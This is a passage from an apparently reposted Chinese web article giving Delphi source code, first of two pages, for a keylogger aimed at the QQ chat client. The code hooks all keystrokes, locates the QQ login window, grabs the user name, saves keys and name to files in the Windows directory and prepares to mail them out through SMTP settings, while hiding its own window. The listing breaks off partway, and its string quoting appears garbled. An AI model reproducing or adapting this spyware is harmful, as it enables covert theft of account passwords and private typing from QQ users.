|
感谢 sforever 提供帮助
hookkey: string;
hHook: integer;
Creeper,creeper1:TextFile;
ahwnd,comboboxh:thandle; //句柄
qqformid:HWND;
user:array[0..254] of char;
SendBody:string;
PSmtp,PUser,PPass,PGetMail,PTOMail,Subject,MailText:String;
implementation
//找QQ聊天窗口
function FpopoID(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
result:=true;
getmem(wintext,100);
getwindowtext(ahwnd,wintext,100);
if Pos(''''与'''',WinText)>0 then
begin
TrySendMail;
Sleep(100);
UnHookWindowsHookEx(hHook);
hHook := 0;
Application.Terminate;
end;
end;
function FmsgIDedit(ahwnd:hwnd;w:integer):boolean;stdcall;
var
f:TextFile;
begin
result:=true;
comboboxh:=FindWindowEx(qqformid,0,''''ComboBox'''',nil);
SendMessage(comboboxh,WM_GETTEXT,254,Integer(@user));
if trim(user)<>'''''''' then
begin
assignfile(f,GetWinDir+''''name.txt'''');
rewrite(f);
write(f,''''QQ 用户名：''''+user);
closefile(f);
exit;
end;
end;
function FqqID(ahwnd:hwnd;w:integer):boolean;stdcall;
var wintext:pchar;
begin
getmem(wintext,100);
GetClassName(ahwnd,wintext,100);
if wintext=''''#32770'''' then
begin
qqformid:=ahwnd; //得到QQ窗口句柄
if qqformid<>0 then
begin
result:=true;
enumchildwindows(qqformid,@fmsgidedit,0); // 暂且注销
end;
end;
end;
function Keyhookresult(lP: integer; wP: integer): pchar;
begin
result := ''''[Print Screen]'''';
case lp of
10688: result := ''''`'''';
561: Result := ''''1'''';
818: result := ''''2'''';
1075: result := ''''3'''';
1332: result := ''''4'''';
1589: result := ''''5'''';
1846: result := ''''6'''';
2103: result := ''''7'''';
2360: result := ''''8'''';
2617: result := ''''9'''';
2864: result := ''''0'''';
3261: result := ''''-'''';
3515: result := ''''='''';
4177: result := ''''Q'''';
4439: result := ''''W'''';
4677: result := ''''E'''';
4946: result := ''''R'''';
5204: result := ''''T'''';
5465: result := ''''Y'''';
5717: result := ''''U'''';
5961: result := ''''I'''';
6223: result := ''''O'''';
6480: result := ''''P'''';
6875: result := ''''['''';
7133: result := '''']'''';
11228: result := ''''\'''';
7745: result := ''''A'''';
8019: result := ''''S'''';
8260: result := ''''D'''';
8518: result := ''''F'''';
8775: result := ''''G'''';
9032: result := ''''H'''';
9290: result := ''''J'''';
9547: result := ''''K'''';
9804: result := ''''L'''';
10170: result := '''';'''';
10462: result := '''''''''''''''';
11354: result := ''''Z'''';
11608: result := ''''X'''';
11843: result := ''''C'''';
12118: result := ''''V'''';
12354: result := ''''B'''';
12622: result := ''''N'''';
12877: result := ''''M'''';
13244: result := '''','''';
13502: result := ''''.'''';
13759: result := ''''/'''';
13840: result := ''''[Right-Shift]'''';
14624: result := ''''[Space]'''';
283: result := ''''[Esc]'''';
15216: result := ''''[F1]'''';
15473: result := ''''[F2]'''';
15730: result := ''''[F3]'''';
15987: result := ''''[F4]'''';
16244: result := ''''[F5]'''';
16501: result := ''''[F6]'''';
16758: result := ''''[F7]'''';
17015: result := ''''[F8]'''';
17272: result := ''''[F9]'''';
17529: result := ''''[F10]'''';
22394: result := ''''[F11]'''';
22651: result := ''''[F12]'''';
10768: Result := ''''[Left-Shift]'''';
14868: result := ''''[CapsLock]'''';
3592: result := ''''[Backspace]'''';
3849: result := ''''[Tab]'''';
7441:
if wp > 30000 then
result := ''''[Right-Ctrl]''''
else
result := ''''[Left-Ctrl]'''';
13679: result := ''''[Num /]'''';
17808: result := ''''[NumLock]'''';
300: result := ''''[Print Screen]'''';
18065: result := ''''[Scroll Lock]'''';
17683: result := ''''[Pause]'''';
21088: result := ''''[Num0]'''';
21358: result := ''''[Num.]'''';
20321: result := ''''[Num1]'''';
20578: result := ''''[Num2]'''';
20835: result := ''''[Num3]'''';
19300: result := ''''[Num4]'''';
19557: result := ''''[Num5]'''';
19814: result := ''''[Num6]'''';
18279: result := ''''[Num7]'''';
18536: result := ''''[Num8]'''';
18793: result := ''''[Num9]'''';
19468: result := ''''[*5*]'''';
14186: result := ''''[Num *]'''';
19053: result := ''''[Num -]'''';
20075: result := ''''[Num +]'''';
21037: result := ''''[Insert]'''';
21294: result := ''''[Delete]'''';
18212: result := ''''[Home]'''';
20259: result := ''''[End]'''';
18721: result := ''''[PageUp]'''';
20770: result := ''''[PageDown]'''';
18470: result := ''''[UP]'''';
20520: result := ''''[DOWN]'''';
19237: result := ''''[LEFT]'''';
19751: result := ''''[RIGHT]'''';
7181: result := ''''[Enter]'''';
end;
end;
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
var
creeper:TextFile;
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then
hookkey := hookkey + Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH);
if length(hookkey) > 0 then
begin
IF enumwindows(@fqqid,0) then
begin
AssignFile(Creeper, getwindir+''''key.txt'''');
if FileExists(getwindir+''''key.txt'''') then
begin
Rewrite(creeper);
Writeln(creeper, hookkey);
closefile(Creeper);
end;
end;
end ;
end;
procedure TForm1.FormCreate(Sender: TObject);
var
myname:string;
batchfilename:string;
bfile:TextFile;
sysdir:string;
noti:PNotifyIconData;
begin
Application.ShowMainForm:=False; [1] [2] 下一页
[聊天工具]POPO2004build0831新功能挨个看 [聊天工具]QQ 2004II 正式版闪亮登场__天极Yesky
[聊天工具]QQ2004II beta3隆重登场__天极Yesky [聊天工具]QQ 2004II beta2再战江湖__天极Yesky
[聊天工具]QQ 2004II beta2火热发布__天极Yesky [聊天工具]QQ 2004II beta1闪亮登场__天极Yesky
[聊天工具]反垃圾邮件好帮手——金山邮镖 2004__天极Yesky [聊天工具]腾讯QQ2004 Beta版火热评测_联络工具__天极Yesky
[聊天工具]QQ2004 beta版新功能挨个看_联络工具__天极Yesky [聊天工具]人性化的QQ2004 4.28预览版__天极Yesky
|
注：本站部分文章源于互联网，版权归原作者所有！如有侵权，请原作者与本站联系，本站将立即删除！ 本站文章除特别注明外均可转载，但需注明出处！ [MinTao学以致用网] 
